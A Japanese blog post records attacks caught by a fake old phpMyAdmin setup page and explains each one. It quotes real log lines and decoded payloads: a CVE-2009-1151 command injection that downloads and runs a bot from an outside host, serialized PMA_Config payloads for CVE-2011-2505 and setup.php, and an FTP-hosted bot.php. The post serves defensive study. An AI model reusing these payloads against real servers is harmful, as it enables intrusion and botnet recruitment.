phpMyAdminを狙った攻撃観察

今日は、前々から準備していたセキュリティ勉強会が台風でポシャってしまった。あーあ、せっかく楽しみにしてたのに……最近ツイてないなぁ……。

で、なんだか不完全燃焼気味なので、ちょっと記事を書いてみる。前にちこっと見た、phpMyAdminへのアタック観察記というネタ。

phpMyAdminとは何か

まぁ何を今さらという感じだけれども、phpMyAdminとはPHPで書かれたMySQLの管理ツール。GUIで分かりやすくデータベースが操作できるため初心者にとても人気のツールなのだが、残念ながら過去に大量の脆弱性が発見された(いや、現在形で「され続けている」と言った方が良いか)ため、日々世界中から不正アクセスの猛威にさらされている。

というわけで、Webサーバを立てていると、phpMyAdminが入っていないかとかスキャンしにくるアクセスがとても多い。この記事ではその辺のアタックを観察してみる。

phpMyAdminの存在スキャン

典型的には、こういうのが来ることが多いですね:

"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"
"GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu"
"GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu"
"GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu"

皆様もApacheアクセスログにこういう変なのが来ているのを見たことがあるのではなかろうか。特に一行目の、変ちくりんなGETが目を惹く。

w00tw00tのひみつ

まず最初のw00tだが、これはスラング(俗語)で訳すのがなかなか難しい。が、ムリヤリ日本語に訳すと、うーん、「イヤッホォォォゥ!!」かな(AA付きで)。

この1発目のアクセスは本当にこういうファイルがあることを探しているわけではなく、なんというかシグネチャである。「○○組参上!」という、壁へのスプレー落書きのイメージ。

scripts/setup.phpのひみつ

このあと、ずらずらとphpMyAdminがインストールされていそうなパス配下の、scripts/setup.php というファイルへの探査が続く。実はこのパスは古いphpMyAdminのみにあって、現在のVer.4には存在しない。つまりこの攻撃者は、古くて脆弱性を持ったphpMyAdminを狙っているのである。

で、残念ながら、そういう古いバージョンのphpMyAdminがいまだにインターネット上にはウヨウヨあるのだ。

スキャンへの対策

一般に、上記のようなアクセスは単なるファイルの存在スキャンなので、全てに404を返していれば特に問題無いし放っておけばよい。そもそもphpMyAdminを入れていなければ無関係だし。

人によっては、このスキャンを見るとIPアドレスでのアクセス制限をかけることもあるようだ。しかし正直、いたちごっこなだけだし、こういう悪いことをしている人たちのソースIPアドレスなんてコロコロ変わるから、スキャンされるたびにIPアドレス制限を入れるのはムダな努力だと私は思う。

で、ここでは攻撃を見てみたいというのが目的なので、ファイルがあるフリをしてみよう。古いphpMyAdmin 2.xを拾ってきてscripts/setup.phpWebブラウザで開き、そのHTMLソースをコピーしてindex.htmlとした。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>phpMyAdmin setup</title>
<link href="../favicon.ico" rel="icon" type="image/x-icon" />
<link href="../favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="styles.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../js/mootools.js"></script>
<script type="text/javascript" src="scripts.js"></script>
</head>
<body>
<h1><span class="blue">php</span><span class="orange">MyAdmin</span> setup</h1>
<div id="menu">
</div>
<div id="page">
</div>
</body>
</html>

そして、scripts/setup.phpにアクセスがあった場合はこのindex.htmlにアクセスするよう、Apachemod_rewriteで設定してみた。

RewriteRule /phpMyAdmin/scripts/setup.php /phpMyAdmin/scripts/index.html [L]

これでスキャンがくれば、phpMyAdminが入っていると勘違いして攻撃をしかけてくれるだろう。ということでしばらく待った。

で、待っていたら色々来たので以下に紹介する。

事例1:セッションIDの漏洩

phpMyAdmin脆弱性は多すぎるので、アタックも色々な人たちが色々な手法でやっている(ようだ)。

216.47.75.147 - - [05/Sep/2013:00:29:16 +0900] "GET /phpMyAdmin/ HTTP/1.1" 200 915 "-" "Mozilla/4.0 (compati
ble; MSIE 6.0; Windows 98)"
216.47.75.147 - - [05/Sep/2013:01:22:18 +0900] "GET /phpMyAdmin/index.php HTTP/1.1" 404 297 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
216.47.75.147 - - [05/Sep/2013:01:22:18 +0900] "GET /phpMyAdmin/config/config.inc.php?eval=system('echo cd /tmp;http://trops.clan.su/playd.jpg;kill -9 -1;perl playd.jpg;curl -O http://trops.clan.su/playd.jpg;kill -9 -1;perl playd.jpg;lwp-download http://trops.clan.su/playd.jpg;kill -9 -1;perl playd.jpg;fetch http://trops.clan.su/playd.jpg;kill -9 -1;perl playd.jpg;rm -rf *.jpg'); HTTP/1.1" 404 309 "-" "curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
216.47.75.147 - - [05/Sep/2013:01:22:18 +0900] "GET /phpMyAdmin/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22%2Ftmp%2Fsess_%22%3B%7D%7D HTTP/1.1" 404 297 "http://49.212.197.88/phpMyAdmin/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
216.47.75.147 - - [05/Sep/2013:01:22:23 +0900] "GET /phpMyAdmin/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A27%3A%22%2Fvar%2Flib%2Fphp5%2Fsession%2Fsess_%22%3B%7D%7D HTTP/1.1" 404 297 "http://49.212.197.88/phpMyAdmin/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
216.47.75.147 - - [05/Sep/2013:01:22:23 +0900] "GET /phpMyAdmin/index.php?token= HTTP/1.1" 404 297 "http://49.212.197.88/phpMyAdmin/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

この例では、まず0:29頃に/phpMyAdmin/というパスで200 OKを返しているので、スキャンしている攻撃者に対してphpMyAdminが「インストール済み」というフリをすることができた(たぶん)。そして約1時間後、先ほどのスキャンと同一のIPアドレスからアタックがやってきた。脆弱性を突く場合、スキャンのアクセスと実際の攻撃アクセスではIPアドレスが変わることも多々あるのだが、phpMyAdminの攻撃をしている人たちはあまり規模が大きくないのかセコいのか(?)、同一IPでスキャンと攻撃を兼ねることが多い。

config.inc.phpコマンドインジェクション脆弱性

まず最初に、phpMyAdmin 3.1.3.1以前に存在していた、config.inc.phpのOSコマンドインジェクションの脆弱性(CVE-2009-1151)を突いてこんなリクエストがされていた。

(分かりやすくするため改行を付加)
?eval=system(
 'echo cd /tmp;
 http://trops.clan.su/playd.jpg;
 kill -9 -1;
 perl playd.jpg;
 curl -O http://trops.clan.su/playd.jpg;
 kill -9 -1;
 perl playd.jpg;
 lwp-download http://trops.clan.su/playd.jpg;
 kill -9 -1;perl playd.jpg;
 fetch http://trops.clan.su/playd.jpg;
 kill -9 -1;perl playd.jpg;
 rm -rf *.jpg'
);

ふーむ、どうやらplyad.jpgというのをどうしてもダウンロードして実行したいらしい。最初の echo cd /tmp の直後にURLが直書きされているが、これはバグで本当はwgetしたいんじゃないだろうか? (^^;
このplayd.jpgというやつ、この攻撃を見る限りはPerlスクリプトっぽいのだが、手で拾ってみたところELFバイナリだった。なぜだろう?

$ file /var/tmp/playd.jpg
/var/tmp/playd.jpg: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=686a03b4eafe6448a3d02b37c4a680c1a0d0f6de, stripped

さすがにこれを素で実行する勇気はないのでこっちはこれでおしまい。まぁたぶん、実行するとC&Cサーバに接続してボットになるのだろう。

セッション漏洩の脆弱性

config.inc.phpに続けて、index.phpにも何かアタックしているようだ。

GET /phpMyAdmin/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22%2Ftmp%2Fsess_%22%3B%7D%7D

URLデコードして、見やすくすると以下のようになる。

GET /phpMyAdmin/index.php?
 session_to_unset=123&
 token=&
 _SESSION[!bla]=|xxx|a:1:
  {i:0;O:10:"PMA_Config":1:{s:6:"source";s:10:"/tmp/sess_";}}

これはPHPのセッションを自由に操作できてしまう脆弱性である(CVE-2011-2505)。見て分かる通り、GETパラメタに渡された値がそのままPHPのパラメタとして渡ってしまい、/tmp/sess_* というPHPのセッションにアクセスできてしまっている。

なおこの辺は、徳丸先生のblogが詳しく分かりやすいです。
phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証 - ockeghem(徳丸浩)の日記

事例2:configuration脆弱性

scripts/setup.php脆弱性を狙った攻撃も来た。まず、アクセスログ

76.12.243.222 - - [02/Sep/2013:23:43:38 +0900] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "http://49.212.197.88/phpMyAdmin/scripts/setup.php" "Opera"
76.12.243.222 - - [02/Sep/2013:23:43:38 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 8 "http://49.212.197.88/phpMyAdmin/scripts/setup.php" "Opera"

今回は、まず/phpMyAdmin/scripts/setup.phpをGETで取りに来て、ファイルがある(200 OK)と分かるやすぐに攻撃のPOSTが来た。GETとPOSTは1秒も空いていないことから、スキャン後に即攻撃のツールなのだろう。ちなみに76.12.243.222は、アメリカのHostMySiteというホスティング業者のようだ。

これはPOSTリクエストなので、Apacheアクセスログだけじゃ中身が分からない。「こんなこともあろうかと」tcpdumpしていた結果を見てみる。

何やらconfigurationにインジェクションするタイプのようだ。POSTボディ部を抜き出したのが以下である。

action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A46%3A%22ftp%3A%2F%2Fcybercous%3Axxxxxxxx%40218%2E149%2E84%2E1%2F%2Fbot%2Ephp%22%3B%7D%7D

これをURLデコードして、見やすく改行したのが以下。

action=lay_navigation&eoltype=unix&token=&
configuration=a:1:
 {i:0;O:10:"PMA_Config":1:
  {s:6:"source";s:46:"ftp://cybercous:xxxxxxxx@218.149.84.1//bot.php";}
 }

実はこれ、生のリクエストではない。見て分かる通り、ftpのIDとパスワードとホストが思いっきり書かれているため、そこはマスクしている。どうやらこの218.149.84.1で攻撃スクリプト本体が配布されているようだ。この218.149.84.1は、KOREA TELECOM (韓国)である。なお、このsetup.phpにconfigurationをPOSTしてくるタイプでは、攻撃スクリプトのダウンロードは必ずftpで、httpのものは今まで見たことがない。こうじゃないと上手く動かないのか、何か理由があってのことか、それは謎。

それではさっそく、このbot.phpを取ってきて……と言いたいのだが、こういうタイプは困ったことにこれ以上追跡ができない。なぜなら、不正アクセス禁止法があるから。たとえこういう状態でも、「他人の識別符号を入力して、アクセス制御機能を持つ電子計算機にアクセスする」ことは思いっきり不正アクセス禁止法に触れてしまう。うーむ残念。

しかし、まぁ世の中にはftpサーバへ他人のIDとパスを使ってログインしてもへっちゃらな国も人もいっぱいいるわけで。そういう人が取得したのだろう、このbot.phpと思われるものはちょっとググればすぐ見つかるからあまり悲観(?)しなくてよい。例えばこの、INFOSECの記事。

これは業界では一般的にpBotと呼ばれるPHPで書かれたボットである。IRCでC&Cサーバに接続し、指令を受けてDoS攻撃をおこなう……というオーソドックスなもの。中を覗くと、function tcpflood などDoS攻撃用の関数が見つかる。またconbackというバックドアを仕掛ける関数も入っている。

まぁこんな感じで、これも結局ボットネットへの組み込み狙いでした、と。いうことでおしまい。